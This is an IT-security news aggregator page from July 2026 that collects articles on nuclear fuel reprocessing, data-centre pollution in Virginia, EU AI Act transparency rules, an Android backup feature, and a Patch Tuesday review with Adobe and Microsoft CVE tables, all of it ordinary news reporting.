Team IT Security - 📰 Alle Kategorien

A Promising Process For Nuclear Fuel Re-use and Disposal?

Sun, 26 Jul 2026 13:48:14 +0200

A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor." The standard plan for spent nuclear fuel is to wait it out. You pull the used bundles from a reactor, sit them in a pool of water for seven to ten years while the heat and radiation come down, seal them in concrete casks, and look for somewhere deep and geologically dull to leave them for the next hundred thousand years. Canada has been hunting for that burial site since the 1980s and still doesn't have one in the ground. A company in Saint John, New Brunswick thinks most of what makes that waste dangerous never needed to go in the ground at all. Moltex Energy Canada says a chemical process it calls WATSS can strip 90% of the long-lived material out of used Canada Deuterium Uranium [CANDU] fuel in 24 hours, and that the concentrated leftovers become fuel for a reactor it wants to build on the same site. The recovery step isn't a slide in a pitch deck anymore. In 2025, World Nuclear News reported that Canadian Nuclear Laboratories ran the process on real used fuel from a commercial Canadian reactor and confirmed the 90% figure. None of it is generating power yet. What exists is a validated chemical step and a reactor design waiting in line at a regulator. The rest is a 2030s problem. "The chemistry has a lab result behind it. The reactor does not exist..." the article points out. "Moltex is aiming to have its first WATSS and SSR-W units running at Point Lepreau by the early-to-mid 2030s... Not everyone buys the pitch. Critics have argued the reprocessing creates its own stream of byproducts, that the economics are unproven, and that a single site's stockpile is finite." But Moltex "isn't alone in trying to burn nuclear waste instead of bury it," the article notes, with Switzerland and Denmark "chasing the same goal a different way." Switzerland's Transmutex drives a subcritical reactor with a particle accelerator, feeding it spent fuel alongside thorium... Denmark's Copenhagen Atomics is building a thorium molten-salt reactor that fits inside a shipping container and runs on the leftovers from conventional plants. Thanks to long-time Slashdot reader kwelch007 for sharing the article.

The Solution to the Power Grid's Woes Might Just Be Sitting in Your Driveway

Sun, 26 Jul 2026 13:00:42 +0200

More electric vehicles are becoming capable of providing backup power at a time when the US is increasingly in need of more electrons.

Avengers: Endgame Re-Release Includes Exclusive Avengers: Doomsday Preview

Sun, 26 Jul 2026 09:21:44 +0200

Marvel Studios is bringing Avengers: Endgame back to theaters on September 25, 2026, with an exclusive look at the upcoming Avengers: Doomsday. The re-release gives Marvel fans another opportunity to watch the 2019 blockbuster in theaters. The film follows the surviving Avengers as they attempt to reverse Thanos’ devastating snap and restore half of all life across the universe. The new theatrical run also serves as part of Marvel’s preparation for its next major crossover event. Viewers who attend the re-release will receive an early look at Avengers: Doomsday, although the exact length and format of the preview have not been announced. Exclusive Avengers: Doomsday Footage Expected Avengers: Doomsday will bring several major Marvel heroes together and introduce Robert Downey Jr. as Victor von Doom. The movie will also feature characters connected to the Avengers, Fantastic Four, X-Men and other parts of the Marvel Cinematic Universe. Recent footage has highlighted Doctor Doom’s role in the story and his connections with the Fantastic Four. However, Marvel has kept several important plot details private ahead of the theatrical release. The Russo brothers, who directed Avengers: Endgame, are also directing the new movie. Their return has raised expectations for another large-scale Marvel story involving several teams and universes. Avengers: Doomsday is scheduled to arrive in theaters on December 18, 2026. The Endgame re-release gives audiences nearly three months to revisit the earlier Avengers finale before Marvel begins its next major chapter.

Did Virginia Regulators Downplay Data Center Health Concerns?

Sun, 26 Jul 2026 06:31:16 +0200

Politico reports that in the Virginia area alone there's dozens of data center projects "that altogether need 70 gigawatts of power — equivalent to 70 nuclear plants" — currently seeking connection to their grid. But there's also concerns about a Virginia data center powered with natural gas and backup diesel generators: When Virginia's top environmental regulator received an analysis warning of data center pollution, it took him less than five minutes to forward it to seven people on his staff... Internal emails obtained by POLITICO through a public records request paint a portrait of an agency that moved quickly to defend the only data center in Virginia that is powering itself — in what former officials and environmental health advocates described as an unusual effort to shape the debate around an industry whose global epicenter is in the state. The agency's pushback focused on the report's findings that the facility in Loudoun County could release harmful amounts of air pollution through eight bus-sized natural gas turbines — as allowed by permits granted by the Department of Environmental Quality [DEQ] itself... The request comes as data centers are devising new ways to produce their own power as a way to temper growing public discord over rising electricity prices amid the AI construction boom. Virginia has more than 600 data centers. The report [commissioned by Virginia's 54-year-old environmental nonprofit Piedmont Environmental Council] raised concerns that the data center's on-site power system, which also includes dozens of backup diesel generators, could cause tens of millions of dollars in health damages to people living around the facility, owned by Vantage Data Centers... [The analysis also argued the pollution could lead to 3.4 to 6.5 premature deaths annually.] People living near the Vantage facility in Sterling say its natural gas turbines produce constant noise and air pollution. The permits for Vantage issued by DEQ in 2023 allow cumulative emissions of seven different pollutants, including 95 tons per year of nitrogen oxides and more than 56 tons of soot. Both contribute to asthma and heart attacks. Those figures are in line with other state permits for minor sources of pollution, but DEQ's permits for Vantage have sparked local concerns because of the facility's location in a residential area... [Viriginia environmental quality officials] raised questions about whether the report wrongly described the facility's potential air pollution as dangerous, when soot levels in Loudoun County are deemed acceptable by America's Environmental Protection Agency (EPA). Health experts, including former EPA air quality official Michael Korber, told POLITICO that soot pollution can negatively affect human health even at EPA-approved levels. The World Health Organization's standard for ambient soot pollution is nearly half of what EPA suggests is safe. Some current and former staffers on Virginia's Department of Environmental Quality believe it's inappropriate for the agency to issue aggressive statements on the healthfulness of the data centers, with one former department leader saying Virginia's DEQ "is not the health department."

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Sat, 25 Jul 2026 19:50:13 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

Your instant Android backup upgrade

Sat, 25 Jul 2026 19:50:10 +0200

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

Russian Cyber Spies Exploited Critical Zimbra Flaw to Access Emails and 2FA Codes

Sat, 25 Jul 2026 19:41:59 +0200

Cyber espionage groups backed by the Russian government exploited a previously unknown vulnerability in the Zimbra Collaboration Suite (ZCS) in order to steal emails, browser credentials, and two-factor authentication (2FA) recovery codes from government and commercial organizations throughout the…

The post Russian Cyber Spies Exploited Critical Zimbra Flaw to Access Emails and 2FA Codes appeared first on IT Security News.

New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery

Sat, 25 Jul 2026 19:04:16 +0200

Kaspersky GReAT experts describe a new Project CAV3RN C2 module. It uses Outlook calendar for communication via Microsoft Graph and has a backup connection via DNS AAAA responses.

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
